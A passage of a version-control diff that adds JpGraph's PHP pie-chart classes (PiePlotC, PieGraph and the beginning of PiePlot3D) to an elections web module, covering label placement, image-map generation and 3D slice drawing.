+	    // dx, dy is the offset from the top left corner of the bounding box that sorrounds the text
+	    // that intersects with the extension of the corresponding axis. The code looks a little
+	    // bit messy but this is really the only way of having a reasonable position of the
+	    // axis titles.
+	    $this->value->ApplyFont($img);
+	    $h=$img->GetTextHeight($label);
+	    // For numeric values the format of the display value
+	    // must be taken into account
+	    if( is_numeric($label) ) {
+		if( $label > 0 )
+		    $w=$img->GetTextWidth(sprintf($this->value->format,$label));
+		else
+		    $w=$img->GetTextWidth(sprintf($this->value->negformat,$label));
+	    }
+	    else
+		$w=$img->GetTextWidth($label);
+
+	    if( $this->ilabelposadj > 1.0 && $this->ilabelposadj < 5.0) {
+		$r *= $this->ilabelposadj;
+	    }
+	    
+	    $r += $img->GetFontHeight()/1.5;
+
+	    $xt=round($r*cos($a)+$xc);
+	    $yt=round($yc-$r*sin($a));
+
+	    // Normalize angle
+	    while( $a < 0 ) $a += 2*M_PI;
+	    while( $a > 2*M_PI ) $a -= 2*M_PI;
+
+	    if( $a>=7*M_PI/4 || $a <= M_PI/4 ) $dx=0;
+	    if( $a>=M_PI/4 && $a <= 3*M_PI/4 ) $dx=($a-M_PI/4)*2/M_PI; 
+	    if( $a>=3*M_PI/4 && $a <= 5*M_PI/4 ) $dx=1;
+	    if( $a>=5*M_PI/4 && $a <= 7*M_PI/4 ) $dx=(1-($a-M_PI*5/4)*2/M_PI);
+	    
+	    if( $a>=7*M_PI/4 ) $dy=(($a-M_PI)-3*M_PI/4)*2/M_PI;
+	    if( $a<=M_PI/4 ) $dy=(1-$a*2/M_PI);
+	    if( $a>=M_PI/4 && $a <= 3*M_PI/4 ) $dy=1;
+	    if( $a>=3*M_PI/4 && $a <= 5*M_PI/4 ) $dy=(1-($a-3*M_PI/4)*2/M_PI);
+	    if( $a>=5*M_PI/4 && $a <= 7*M_PI/4 ) $dy=0;
+	    
+	    $this->value->Stroke($img,$label,$xt-$dx*$w,$yt-$dy*$h);
+	}
+    }	
+} // Class
+
+
+//===================================================
+// CLASS PiePlotC
+// Description: Same as a normal pie plot but with a 
+// filled circle in the center
+//===================================================
+class PiePlotC extends PiePlot {
+    private $imidsize=0.5;		// Fraction of total width
+    private $imidcolor='white';
+    public $midtitle='';
+    private $middlecsimtarget='',$middlecsimwintarget='',$middlecsimalt='';
+
+    function PiePlotC($data,$aCenterTitle='') {
+	parent::PiePlot($data);
+	$this->midtitle = new Text();
+	$this->midtitle->ParagraphAlign('center');
+    }
+
+    function SetMid($aTitle,$aColor='white',$aSize=0.5) {
+	$this->midtitle->Set($aTitle);
+
+	$this->imidsize = $aSize ; 
+	$this->imidcolor = $aColor ; 
+    }
+
+    function SetMidTitle($aTitle) {
+	$this->midtitle->Set($aTitle);
+    }
+
+    function SetMidSize($aSize) {
+	$this->imidsize = $aSize ; 
+    }
+
+    function SetMidColor($aColor) {
+	$this->imidcolor = $aColor ; 
+    }
+
+    function SetMidCSIM($aTarget,$aAlt='',$aWinTarget='') {
+	$this->middlecsimtarget = $aTarget;
+	$this->middlecsimwintarget = $aWinTarget;
+	$this->middlecsimalt = $aAlt;
+    }
+
+    function AddSliceToCSIM($i,$xc,$yc,$radius,$sa,$ea) {  
+        //Slice number, ellipse centre (x,y), radius, start angle, end angle
+	while( $sa > 2*M_PI ) $sa = $sa - 2*M_PI;
+	while( $ea > 2*M_PI ) $ea = $ea - 2*M_PI;
+
+	$sa = 2*M_PI - $sa;
+	$ea = 2*M_PI - $ea;
+
+	// Special case when we have only one slice since then both start and end
+	// angle will be == 0
+	if( abs($sa - $ea) < 0.0001 ) {
+	    $sa=2*M_PI; $ea=0;
+	}
+
+	// Add inner circle first point
+	$xp = floor(($this->imidsize*$radius*cos($ea))+$xc);
+	$yp = floor($yc-($this->imidsize*$radius*sin($ea)));
+	$coords = "$xp, $yp";
+	
+	//add coordinates every 0.25 radians
+	$a=$ea+0.25;
+
+	// If we cross the 360-limit with a slice we need to handle
+	// the fact that end angle is smaller than start
+	if( $sa < $ea ) {
+	    while ($a <= 2*M_PI) {
+		$xp = floor($radius*cos($a)+$xc);
+		$yp = floor($yc-$radius*sin($a));
+		$coords.= ", $xp, $yp";
+		$a += 0.25;
+	    }
+	    $a -= 2*M_PI;
+	}
+
+	while ($a < $sa) {
+	    $xp = floor(($this->imidsize*$radius*cos($a)+$xc));
+	    $yp = floor($yc-($this->imidsize*$radius*sin($a)));
+	    $coords.= ", $xp, $yp";
+	    $a += 0.25;
+	}
+
+	// Make sure we end at the last point
+	$xp = floor(($this->imidsize*$radius*cos($sa)+$xc));
+	$yp = floor($yc-($this->imidsize*$radius*sin($sa)));
+	$coords.= ", $xp, $yp";
+
+	// Straight line to outer circle
+	$xp = floor($radius*cos($sa)+$xc);
+	$yp = floor($yc-$radius*sin($sa));
+	$coords.= ", $xp, $yp";	
+
+	//add coordinates every 0.25 radians
+	$a=$sa - 0.25;
+	while ($a > $ea) {
+	    $xp = floor($radius*cos($a)+$xc);
+	    $yp = floor($yc-$radius*sin($a));
+	    $coords.= ", $xp, $yp";
+	    $a -= 0.25;
+	}
+		
+	//Add the last point on the arc
+	$xp = floor($radius*cos($ea)+$xc);
+	$yp = floor($yc-$radius*sin($ea));
+	$coords.= ", $xp, $yp";
+
+	// Close the arc
+	$xp = floor(($this->imidsize*$radius*cos($ea))+$xc);
+	$yp = floor($yc-($this->imidsize*$radius*sin($ea)));
+	$coords .= ", $xp, $yp";
+
+	if( !empty($this->csimtargets[$i]) ) {
+	    $this->csimareas .= "<area shape=\"poly\" coords=\"$coords\" href=\"".
+		$this->csimtargets[$i]."\"";
+	    if( !empty($this->csimwintargets[$i]) ) {
+		$this->csimareas .= " target=\"".$this->csimwintargets[$i]."\" ";
+	    }
+	    if( !empty($this->csimalts[$i]) ) {
+		$tmp=sprintf($this->csimalts[$i],$this->data[$i]);
+		$this->csimareas .= " title=\"$tmp\"  alt=\"$tmp\" ";
+	    }
+	    $this->csimareas .= " />\n";
+	}
+    }
+
+
+    function Stroke($img,$aaoption=0) {
+
+	// Stroke the pie but don't stroke values
+	$tmp =  $this->value->show;
+	$this->value->show = false;
+	parent::Stroke($img,$aaoption);
+	$this->value->show = $tmp;
+
+ 	$xc = round($this->posx*$img->width);
+	$yc = round($this->posy*$img->height);
+
+	$radius = floor($this->radius * min($img->width,$img->height)) ;
+
+
+	if( $this->imidsize > 0 && $aaoption !== 2 ) {
+
+	    if( $this->ishadowcolor != "" ) {
+		$img->SetColor($this->ishadowcolor);
+		$img->FilledCircle($xc+$this->ishadowdrop,$yc+$this->ishadowdrop,
+				   round($radius*$this->imidsize));
+	    }
+
+	    $img->SetColor($this->imidcolor);
+	    $img->FilledCircle($xc,$yc,round($radius*$this->imidsize));
+
+	    if(  $this->pie_border && $aaoption === 0 ) {
+		$img->SetColor($this->color);
+		$img->Circle($xc,$yc,round($radius*$this->imidsize));
+	    }
+
+	    if( !empty($this->middlecsimtarget) )
+		$this->AddMiddleCSIM($xc,$yc,round($radius*$this->imidsize));
+
+	}
+
+	if( $this->value->show && $aaoption !== 1) {
+	    $this->StrokeAllLabels($img,$xc,$yc,$radius);
+	    $this->midtitle->SetPos($xc,$yc,'center','center');
+	    $this->midtitle->Stroke($img);
+	}
+
+    }
+
+    function AddMiddleCSIM($xc,$yc,$r) {
+	$xc=round($xc);$yc=round($yc);$r=round($r);
+	$this->csimareas .= "<area shape=\"circle\" coords=\"$xc,$yc,$r\" href=\"".
+	    $this->middlecsimtarget."\"";
+	if( !empty($this->middlecsimwintarget) ) {
+	    $this->csimareas .= " target=\"".$this->middlecsimwintarget."\"";
+	}
+	if( !empty($this->middlecsimalt) ) {
+	    $tmp = $this->middlecsimalt;
+	    $this->csimareas .= " title=\"$tmp\" alt=\"$tmp\" ";
+	}
+	$this->csimareas .= " />\n";
+    }
+
+    function StrokeLabel($label,$img,$xc,$yc,$a,$r) {
+
+	if( $this->ilabelposadj === 'auto' )
+	    $this->ilabelposadj = (1-$this->imidsize)/2+$this->imidsize;
+
+	parent::StrokeLabel($label,$img,$xc,$yc,$a,$r);
+
+    }
+
+}
+
+
+//===================================================
+// CLASS PieGraph
+// Description: 
+//===================================================
+class PieGraph extends Graph {
+    private $posx, $posy, $radius;		
+    private $legends=array();	
+    public $plots=array();
+    public $pieaa = false ;
+//---------------
+// CONSTRUCTOR
+    function PieGraph($width=300,$height=200,$cachedName="",$timeout=0,$inline=1) {
+	$this->Graph($width,$height,$cachedName,$timeout,$inline);
+	$this->posx=$width/2;
+	$this->posy=$height/2;
+	$this->SetColor(array(255,255,255));		
+    }
+
+//---------------
+// PUBLIC METHODS	
+    function Add($aObj) {
+
+	if( is_array($aObj) && count($aObj) > 0 )
+	    $cl = $aObj[0];
+	else
+	    $cl = $aObj;
+
+	if( $cl instanceof Text ) 
+	    $this->AddText($aObj);
+	elseif( class_exists('IconPlot',false) && ($cl instanceof IconPlot) ) 
+	    $this->AddIcon($aObj);
+	else {
+	    if( is_array($aObj) ) {
+		$n = count($aObj);
+		for($i=0; $i < $n; ++$i ) {
+		    $this->plots[] = $aObj[$i];
+		}
+	    }
+	    else {
+		$this->plots[] = $aObj;
+	    }
+	}
+    }
+
+    function SetAntiAliasing($aFlg=true) {
+	$this->pieaa = $aFlg;
+    }
+	
+    function SetColor($c) {
+	$this->SetMarginColor($c);
+    }
+
+
+    function DisplayCSIMAreas() {
+	    $csim="";
+	    foreach($this->plots as $p ) {
+		$csim .= $p->GetCSIMareas();
+	    }
+	    //$csim.= $this->legend->GetCSIMareas();
+	    if (preg_match_all("/area shape=\"(\w+)\" coords=\"([0-9\, ]+)\"/", $csim, $coords)) {
+		$this->img->SetColor($this->csimcolor);
+		$n = count($coords[0]);
+		for ($i=0; $i < $n; $i++) {
+		    if ($coords[1][$i]=="poly") {
+			preg_match_all('/\s*([0-9]+)\s*,\s*([0-9]+)\s*,*/',$coords[2][$i],$pts);
+			$this->img->SetStartPoint($pts[1][count($pts[0])-1],$pts[2][count($pts[0])-1]);
+			$m = count($pts[0]);
+			for ($j=0; $j < $m; $j++) {
+			    $this->img->LineTo($pts[1][$j],$pts[2][$j]);
+			}
+		    } else if ($coords[1][$i]=="rect") {
+			$pts = preg_split('/,/', $coords[2][$i]);
+			$this->img->SetStartPoint($pts[0],$pts[1]);
+			$this->img->LineTo($pts[2],$pts[1]);
+			$this->img->LineTo($pts[2],$pts[3]);
+			$this->img->LineTo($pts[0],$pts[3]);
+			$this->img->LineTo($pts[0],$pts[1]);
+						
+		    }
+		}
+	    }
+    }
+
+    // Method description
+    function Stroke($aStrokeFileName="") {
+	// If the filename is the predefined value = '_csim_special_'
+	// we assume that the call to stroke only needs to do enough
+	// to correctly generate the CSIM maps.
+	// We use this variable to skip things we don't strictly need
+	// to do to generate the image map to improve performance
+	// a best we can. Therefor you will see a lot of tests !$_csim in the
+	// code below.
+	$_csim = ($aStrokeFileName===_CSIM_SPECIALFILE);
+
+	// We need to know if we have stroked the plot in the
+	// GetCSIMareas. Otherwise the CSIM hasn't been generated
+	// and in the case of GetCSIM called before stroke to generate
+	// CSIM without storing an image to disk GetCSIM must call Stroke.
+	$this->iHasStroked = true;
+
+	$n = count($this->plots);
+
+	if( $this->pieaa ) {
+
+	    if( !$_csim ) {
+		if( $this->background_image != "" ) {
+		    $this->StrokeFrameBackground();		
+		}
+		else {
+		    $this->StrokeFrame();		
+		    $this->StrokeBackgroundGrad();
+		}
+	    }
+
+
+	    $w = $this->img->width;
+	    $h = $this->img->height;
+	    $oldimg = $this->img->img;
+
+	    $this->img->CreateImgCanvas(2*$w,2*$h);
+	    
+	    $this->img->SetColor( $this->margin_color );
+	    $this->img->FilledRectangle(0,0,2*$w-1,2*$h-1);
+
+	    // Make all icons *2 i size since we will be scaling down the
+	    // imahe to do the anti aliasing
+	    $ni = count($this->iIcons);
+	    for($i=0; $i < $ni; ++$i) {
+		$this->iIcons[$i]->iScale *= 2 ;
+		if( $this->iIcons[$i]->iX > 1 ) 
+		    $this->iIcons[$i]->iX *= 2 ;
+		if( $this->iIcons[$i]->iY > 1 ) 
+		    $this->iIcons[$i]->iY *= 2 ;
+	    }
+
+	    $this->StrokeIcons();
+
+	    for($i=0; $i < $n; ++$i) {
+		if( $this->plots[$i]->posx > 1 ) 
+		    $this->plots[$i]->posx *= 2 ;
+		if( $this->plots[$i]->posy > 1 ) 
+		    $this->plots[$i]->posy *= 2 ;
+
+		$this->plots[$i]->Stroke($this->img,1);
+
+		if( $this->plots[$i]->posx > 1 ) 
+		    $this->plots[$i]->posx /= 2 ;
+		if( $this->plots[$i]->posy > 1 ) 
+		    $this->plots[$i]->posy /= 2 ;
+	    }
+
+	    $indent = $this->doframe ? ($this->frame_weight + ($this->doshadow ? $this->shadow_width : 0 )) : 0 ;
+	    $indent += $this->framebevel ? $this->framebeveldepth + 1 : 0 ;
+	    $this->img->CopyCanvasH($oldimg,$this->img->img,$indent,$indent,$indent,$indent,
+				    $w-2*$indent,$h-2*$indent,2*($w-$indent),2*($h-$indent));
+
+	    $this->img->img = $oldimg ;
+	    $this->img->width = $w ;
+	    $this->img->height = $h ;
+
+	    for($i=0; $i < $n; ++$i) {
+		$this->plots[$i]->Stroke($this->img,2); // Stroke labels
+		$this->plots[$i]->Legend($this);
+	    }
+
+	}
+	else {
+
+	    if( !$_csim ) {
+		if( $this->background_image != "" ) {
+		    $this->StrokeFrameBackground();		
+		}
+		else {
+		    $this->StrokeFrame();		
+		}
+	    }
+
+	    $this->StrokeIcons();
+
+	    for($i=0; $i < $n; ++$i) {
+		$this->plots[$i]->Stroke($this->img);
+		$this->plots[$i]->Legend($this);
+	    }
+	}
+
+	$this->legend->Stroke($this->img);
+	$this->footer->Stroke($this->img);
+	$this->StrokeTitles();
+
+	if( !$_csim ) {	
+
+	    // Stroke texts
+	    if( $this->texts != null ) {
+		$n = count($this->texts);
+		for($i=0; $i < $n; ++$i ) {
+		    $this->texts[$i]->Stroke($this->img);
+		}
+	    }
+
+	    if( _JPG_DEBUG ) {
+		$this->DisplayCSIMAreas();
+	    }
+
+	    // Should we do any final image transformation
+	    if( $this->iImgTrans ) {
+		if( !class_exists('ImgTrans',false) ) {
+		    require_once('jpgraph_imgtrans.php');
+		    //JpGraphError::Raise('In order to use image transformation you must include the file jpgraph_imgtrans.php in your script.');
+		}
+	       
+		$tform = new ImgTrans($this->img->img);
+		$this->img->img = $tform->Skew3D($this->iImgTransHorizon,$this->iImgTransSkewDist,
+						 $this->iImgTransDirection,$this->iImgTransHighQ,
+						 $this->iImgTransMinSize,$this->iImgTransFillColor,
+						 $this->iImgTransBorder);
+	    }
+
+
+	    // If the filename is given as the special "__handle"
+	    // then the image handler is returned and the image is NOT
+	    // streamed back
+	    if( $aStrokeFileName == _IMG_HANDLER ) {
+		return $this->img->img;
+	    }
+	    else {
+		// Finally stream the generated picture					
+		$this->cache->PutAndStream($this->img,$this->cache_name,$this->inline,
+					   $aStrokeFileName);		
+	    }
+	}
+    }
+} // Class
+
+/* EOF */
+?>
Index: /trunk/elezioni/trunk/client/modules/Elezioni/grafici/jpgraph_pie3d.php
===================================================================
--- /trunk/elezioni/trunk/client/modules/Elezioni/grafici/jpgraph_pie3d.php	(revision 44)
+++ /trunk/elezioni/trunk/client/modules/Elezioni/grafici/jpgraph_pie3d.php	(revision 44)
@@ -0,0 +1,923 @@
+<?php
+/*=======================================================================
+// File:	JPGRAPH_PIE3D.PHP
+// Description: 3D Pie plot extension for JpGraph
+// Created: 	2001-03-24
+// Ver:		$Id: jpgraph_pie3d.php 956 2007-11-17 13:19:20Z ljp $
+//
+// Copyright (c) Aditus Consulting. All rights reserved.
+//========================================================================
+*/
+
+//===================================================
+// CLASS PiePlot3D
+// Description: Plots a 3D pie with a specified projection 
+// angle between 20 and 70 degrees.
+//===================================================
+class PiePlot3D extends PiePlot {
+    private $labelhintcolor="red",$showlabelhint=true;
+    private $angle=50;	
+    private $edgecolor="", $edgeweight=1;
+    private $iThickness=false;
+	
+//---------------
+// CONSTRUCTOR
+    function PiePlot3d($data) {
+	$this->radius = 0.5;
+	$this->data = $data;
+	$this->title = new Text("");
+	$this->title->SetFont(FF_FONT1,FS_BOLD);
+	$this->value = new DisplayValue();
+	$this->value->Show();
+	$this->value->SetFormat('%.0f%%');
+    }
+
+//---------------
+// PUBLIC METHODS	
+	
+    // Set label arrays
+    function SetLegends($aLegend) {
+	$this->legends = array_reverse(array_slice($aLegend,0,count($this->data)));
+    }
+
+    function SetSliceColors($aColors) {
+	$this->setslicecolors = $aColors;
+    }
+
+    function Legend($aGraph) {
+	parent::Legend($aGraph);
+	$aGraph->legend->txtcol = array_reverse($aGraph->legend->txtcol);
+    }
+
+    function SetCSIMTargets($aTargets,$aAlts='',$aWinTargets='') {
+	$this->csimtargets = $aTargets;
+	$this->csimwintargets = $aWinTargets;
+	$this->csimalts = $aAlts;
+    }
+
+    // Should the slices be separated by a line? If color is specified as "" no line
+    // will be used to separate pie slices.
+    function SetEdge($aColor='black',$aWeight=1) {
+	$this->edgecolor = $aColor;
+	$this->edgeweight = $aWeight;
+    }
+
+    // Dummy function to make Pie3D behave in a similair way to 2D
+    function ShowBorder($exterior=true,$interior=true) {
+	JpGraphError::RaiseL(14001);
+//('Pie3D::ShowBorder() . Deprecated function. Use Pie3D::SetEdge() to control the edges around slices.');
+    }
+
+    // Specify projection angle for 3D in degrees
+    // Must be between 20 and 70 degrees
+    function SetAngle($a) {
+	if( $a<5 || $a>90 )
+	    JpGraphError::RaiseL(14002);
+//("PiePlot3D::SetAngle() 3D Pie projection angle must be between 5 and 85 degrees.");
+	else
+	    $this->angle = $a;
+    }
+
+    function Add3DSliceToCSIM($i,$xc,$yc,$height,$width,$thick,$sa,$ea) {  //Slice number, ellipse centre (x,y), height, width, start angle, end angle
+
+	$sa *= M_PI/180;
+	$ea *= M_PI/180;
+
+	//add coordinates of the centre to the map
+	$coords = "$xc, $yc";
+
+	//add coordinates of the first point on the arc to the map
+	$xp = floor($width*cos($sa)/2+$xc);
+	$yp = floor($yc-$height*sin($sa)/2);
+	$coords.= ", $xp, $yp";
+
+	//If on the front half, add the thickness offset
+	if ($sa >= M_PI && $sa <= 2*M_PI*1.01) {
+	    $yp = floor($yp+$thick);
+	    $coords.= ", $xp, $yp";
+	}
+		
+	//add coordinates every 0.2 radians
+	$a=$sa+0.2;
+	while ($a<$ea) {
+	    $xp = floor($width*cos($a)/2+$xc);
+	    if ($a >= M_PI && $a <= 2*M_PI*1.01) {
+		$yp = floor($yc-($height*sin($a)/2)+$thick);
+	    } else {
+		$yp = floor($yc-$height*sin($a)/2);
+	    }
+	    $coords.= ", $xp, $yp";
+	    $a += 0.2;
+	}
+		
+	//Add the last point on the arc
+	$xp = floor($width*cos($ea)/2+$xc);
+	$yp = floor($yc-$height*sin($ea)/2);
+
+
+	if ($ea >= M_PI && $ea <= 2*M_PI*1.01) {
+	    $coords.= ", $xp, ".floor($yp+$thick);
+	}
+	$coords.= ", $xp, $yp";
+	$alt='';
+
+	if( !empty($this->csimtargets[$i]) ) {
+	    $this->csimareas .= "<area shape=\"poly\" coords=\"$coords\" href=\"".$this->csimtargets[$i]."\"";
+	
+	    if( !empty($this->csimwintargets[$i]) ) {
+		$this->csimareas .= " target=\"".$this->csimwintargets[$i]."\" "; 
+	    }
+	    
+	    if( !empty($this->csimalts[$i]) ) {										
+		$tmp=sprintf($this->csimalts[$i],$this->data[$i]);
+		$this->csimareas .= "alt=\"$tmp\" title=\"$tmp\" ";
+	    }
+	    $this->csimareas .=  " />\n";
+	}
+
+    }
+
+    function SetLabels($aLabels,$aLblPosAdj="auto") {
+	$this->labels = $aLabels;
+	$this->ilabelposadj=$aLblPosAdj;
+    }
+
+	
+    // Distance from the pie to the labels
+    function SetLabelMargin($m) {
+	$this->value->SetMargin($m);
+    }
+	
+    // Show a thin line from the pie to the label for a specific slice
+    function ShowLabelHint($f=true) {
+	$this->showlabelhint=$f;
+    }
+	
+    // Set color of hint line to label for each slice
+    function SetLabelHintColor($c) {
+	$this->labelhintcolor=$c;
+    }
+
+    function SetHeight($aHeight) {
+      $this->iThickness = $aHeight;
+    }
+
+
+// Normalize Angle between 0-360
+    function NormAngle($a) {
+	// Normalize anle to 0 to 2M_PI
+	// 
+	if( $a > 0 ) {
+	    while($a > 360) $a -= 360;
+	}
+	else {
+	    while($a < 0) $a += 360;
+	}
+	if( $a < 0 )
+	    $a = 360 + $a;
+
+	if( $a == 360 ) $a=0;
+	return $a;
+    }
+
+    
+
+// Draw one 3D pie slice at position ($xc,$yc) with height $z
+    function Pie3DSlice($img,$xc,$yc,$w,$h,$sa,$ea,$z,$fillcolor,$shadow=0.65) {
+	
+	// Due to the way the 3D Pie algorithm works we are
+	// guaranteed that any slice we get into this method
+	// belongs to either the left or right side of the
+	// pie ellipse. Hence, no slice will cross 90 or 270
+	// point.
+	if( ($sa < 90 && $ea > 90) || ( ($sa > 90 && $sa < 270) && $ea > 270) ) {
+	    JpGraphError::RaiseL(14003);//('Internal assertion failed. Pie3D::Pie3DSlice');
+	    exit(1);
+	}
+
+	$p[] = array();
+
+	// Setup pre-calculated values
+	$rsa = $sa/180*M_PI;	// to Rad
+	$rea = $ea/180*M_PI;	// to Rad
+	$sinsa = sin($rsa);
+	$cossa = cos($rsa);
+	$sinea = sin($rea);
+	$cosea = cos($rea);
+
+	// p[] is the points for the overall slice and
+	// pt[] is the points for the top pie
+
+	// Angular step when approximating the arc with a polygon train.
+	$step = 0.05;
+
+	if( $sa >= 270 ) {
+	    if( $ea > 360 || ($ea > 0 && $ea <= 90) ) {
+		if( $ea > 0 && $ea <= 90 ) {
+		    // Adjust angle to simplify conditions in loops
+		    $rea += 2*M_PI;
+		}
+
+		$p = array($xc,$yc,$xc,$yc+$z,
+			   $xc+$w*$cossa,$z+$yc-$h*$sinsa);
+		$pt = array($xc,$yc,$xc+$w*$cossa,$yc-$h*$sinsa);
+
+		for( $a=$rsa; $a < 2*M_PI; $a += $step ) {
+		    $tca = cos($a);
+		    $tsa = sin($a);
+		    $p[] = $xc+$w*$tca;
+		    $p[] = $z+$yc-$h*$tsa;
+		    $pt[] = $xc+$w*$tca;
+		    $pt[] = $yc-$h*$tsa;
+		}
+
+		$pt[] = $xc+$w;
+		$pt[] = $yc;
+
+		$p[] = $xc+$w;
+		$p[] = $z+$yc;
+		$p[] = $xc+$w;
+		$p[] = $yc;
+		$p[] = $xc;
+		$p[] = $yc;
+
+		for( $a=2*M_PI+$step; $a < $rea; $a += $step ) {
+		    $pt[] = $xc + $w*cos($a);
+		    $pt[] = $yc - $h*sin($a);
+		}
+		    
+		$pt[] = $xc+$w*$cosea;
+		$pt[] = $yc-$h*$sinea;
+		$pt[] = $xc;
+		$pt[] = $yc;
+
+	    }
+	    else {
+		$p = array($xc,$yc,$xc,$yc+$z,
+			   $xc+$w*$cossa,$z+$yc-$h*$sinsa);
+		$pt = array($xc,$yc,$xc+$w*$cossa,$yc-$h*$sinsa);
+		    
+		$rea = $rea == 0.0 ? 2*M_PI : $rea;
+		for( $a=$rsa; $a < $rea; $a += $step ) {
+		    $tca = cos($a);
+		    $tsa = sin($a);
+		    $p[] = $xc+$w*$tca;
+		    $p[] = $z+$yc-$h*$tsa;
+		    $pt[] = $xc+$w*$tca;
+		    $pt[] = $yc-$h*$tsa;
+		}
+
+		$pt[] = $xc+$w*$cosea;
+		$pt[] = $yc-$h*$sinea;
+		$pt[] = $xc;
+		$pt[] = $yc;
+		    
+		$p[] = $xc+$w*$cosea;
+		$p[] = $z+$yc-$h*$sinea;
+		$p[] = $xc+$w*$cosea;
+		$p[] = $yc-$h*$sinea;
+		$p[] = $xc;
+		$p[] = $yc;
+	    }
+	}
+	elseif( $sa >= 180 ) {
+	    $p = array($xc,$yc,$xc,$yc+$z,$xc+$w*$cosea,$z+$yc-$h*$sinea);
+	    $pt = array($xc,$yc,$xc+$w*$cosea,$yc-$h*$sinea);
+		
+	    for( $a=$rea; $a>$rsa; $a -= $step ) {
+		$tca = cos($a);
+		$tsa = sin($a);
+		$p[] = $xc+$w*$tca;
+		$p[] = $z+$yc-$h*$tsa;
+		$pt[] = $xc+$w*$tca;
+		$pt[] = $yc-$h*$tsa;
+	    }
+
+	    $pt[] = $xc+$w*$cossa;
+	    $pt[] = $yc-$h*$sinsa;
+	    $pt[] = $xc;
+	    $pt[] = $yc;
+		
+	    $p[] = $xc+$w*$cossa;
+	    $p[] = $z+$yc-$h*$sinsa;
+	    $p[] = $xc+$w*$cossa;
+	    $p[] = $yc-$h*$sinsa;
+	    $p[] = $xc;
+	    $p[] = $yc;
+	
+	}
+	elseif( $sa >= 90 ) {
+	    if( $ea > 180 ) {
+		$p = array($xc,$yc,$xc,$yc+$z,$xc+$w*$cosea,$z+$yc-$h*$sinea);
+		$pt = array($xc,$yc,$xc+$w*$cosea,$yc-$h*$sinea);
+
+		for( $a=$rea; $a > M_PI; $a -= $step ) {
+		    $tca = cos($a);
+		    $tsa = sin($a);		    
+		    $p[] = $xc+$w*$tca;
+		    $p[] = $z + $yc - $h*$tsa;
+		    $pt[] = $xc+$w*$tca;
+		    $pt[] = $yc-$h*$tsa;
+		}
+
+		$p[] = $xc-$w;
+		$p[] = $z+$yc;
+		$p[] = $xc-$w;
+		$p[] = $yc;
+		$p[] = $xc;
+		$p[] = $yc;
+
+		$pt[] = $xc-$w;
+		$pt[] = $z+$yc;
+		$pt[] = $xc-$w;
+		$pt[] = $yc;
+
+		for( $a=M_PI-$step; $a > $rsa; $a -= $step ) {
+		    $pt[] = $xc + $w*cos($a);
+		    $pt[] = $yc - $h*sin($a);
+		}
+
+		$pt[] = $xc+$w*$cossa;
+		$pt[] = $yc-$h*$sinsa;
+		$pt[] = $xc;
+		$pt[] = $yc;
+
+	    }
+	    else { // $sa >= 90 && $ea <= 180
+		$p = array($xc,$yc,$xc,$yc+$z,
+			   $xc+$w*$cosea,$z+$yc-$h*$sinea,
+			   $xc+$w*$cosea,$yc-$h*$sinea,
+			   $xc,$yc);
+
+		$pt = array($xc,$yc,$xc+$w*$cosea,$yc-$h*$sinea);
+
+		for( $a=$rea; $a>$rsa; $a -= $step ) {
+		    $pt[] = $xc + $w*cos($a);
+		    $pt[] = $yc - $h*sin($a);
+		}
+
+		$pt[] = $xc+$w*$cossa;
+		$pt[] = $yc-$h*$sinsa;
+		$pt[] = $xc;
+		$pt[] = $yc;
+
+	    }
+	}
+	else { // sa > 0 && ea < 90
+
+	    $p = array($xc,$yc,$xc,$yc+$z,
+		       $xc+$w*$cossa,$z+$yc-$h*$sinsa,
+		       $xc+$w*$cossa,$yc-$h*$sinsa,
+		       $xc,$yc);
+
+	    $pt = array($xc,$yc,$xc+$w*$cossa,$yc-$h*$sinsa);
+
+	    for( $a=$rsa; $a < $rea; $a += $step ) {
+		$pt[] = $xc + $w*cos($a);
+		$pt[] = $yc - $h*sin($a);
+	    }
+
+	    $pt[] = $xc+$w*$cosea;
+	    $pt[] = $yc-$h*$sinea;
+	    $pt[] = $xc;
+	    $pt[] = $yc;
+	}
+	    
+	$img->PushColor($fillcolor.":".$shadow);
+	$img->FilledPolygon($p);
+	$img->PopColor();
+
+	$img->PushColor($fillcolor);
+	$img->FilledPolygon($pt);
+	$img->PopColor();
+    }
+
+    function SetStartAngle($aStart) {
+	if( $aStart < 0 || $aStart > 360 ) {
+	    JpGraphError::RaiseL(14004);//('Slice start angle must be between 0 and 360 degrees.');
+	}
+	$this->startangle = $aStart;
+    }
+    
+// Draw a 3D Pie
+    function Pie3D($aaoption,$img,$data,$colors,$xc,$yc,$d,$angle,$z,
+		   $shadow=0.65,$startangle=0,$edgecolor="",$edgeweight=1) {
+
+	//---------------------------------------------------------------------------
+	// As usual the algorithm get more complicated than I originally
+	// envisioned. I believe that this is as simple as it is possible
+	// to do it with the features I want. It's a good exercise to start
+	// thinking on how to do this to convince your self that all this
+	// is really needed for the general case.
+	//
+	// The algorithm two draw 3D pies without "real 3D" is done in
+	// two steps.
+	// First imagine the pie cut in half through a thought line between
+	// 12'a clock and 6'a clock. It now easy to imagine that we can plot 
+	// the individual slices for each half by starting with the topmost
+	// pie slice and continue down to 6'a clock.
+	// 
+	// In the algortithm this is done in three principal steps
+	// Step 1. Do the knife cut to ensure by splitting slices that extends 
+	// over the cut line. This is done by splitting the original slices into
+	// upto 3 subslices.
+	// Step 2. Find the top slice for each half
+	// Step 3. Draw the slices from top to bottom
+	//
+	// The thing that slightly complicates this scheme with all the
+	// angle comparisons below is that we can have an arbitrary start
+	// angle so we must take into account the different equivalence classes.
+	// For the same reason we must walk through the angle array in a 
+	// modulo fashion.
+	//
+	// Limitations of algorithm: 
+	// * A small exploded slice which crosses the 270 degree point
+	//   will get slightly nagged close to the center due to the fact that
+	//   we print the slices in Z-order and that the slice left part
+	//   get printed first and might get slightly nagged by a larger
+	//   slice on the right side just before the right part of the small
+	//   slice. Not a major problem though. 
+	//---------------------------------------------------------------------------
+
+    
+	// Determine the height of the ellippse which gives an
+	// indication of the inclination angle
+	$h = ($angle/90.0)*$d;
+	$sum = 0;
+	for($i=0; $i<count($data); ++$i ) {
+	    $sum += $data[$i];
+	}
+	
+	// Special optimization
+	if( $sum==0 ) return;
+
+	if( $this->labeltype == 2 ) {
+	    $this->adjusted_data = $this->AdjPercentage($data);
+	}
+
+	// Setup the start
+	$accsum = 0;
+	$a = $startangle;
+	$a = $this->NormAngle($a);
+
+	// 
+	// Step 1 . Split all slices that crosses 90 or 270
+	//
+	$idx=0;
+	$adjexplode=array(); 
+	$numcolors = count($colors);
+	for($i=0; $i<count($data); ++$i, ++$idx ) {
+	    $da = $data[$i]/$sum * 360;
+
+	    if( empty($this->explode_radius[$i]) )
+		$this->explode_radius[$i]=0;
+
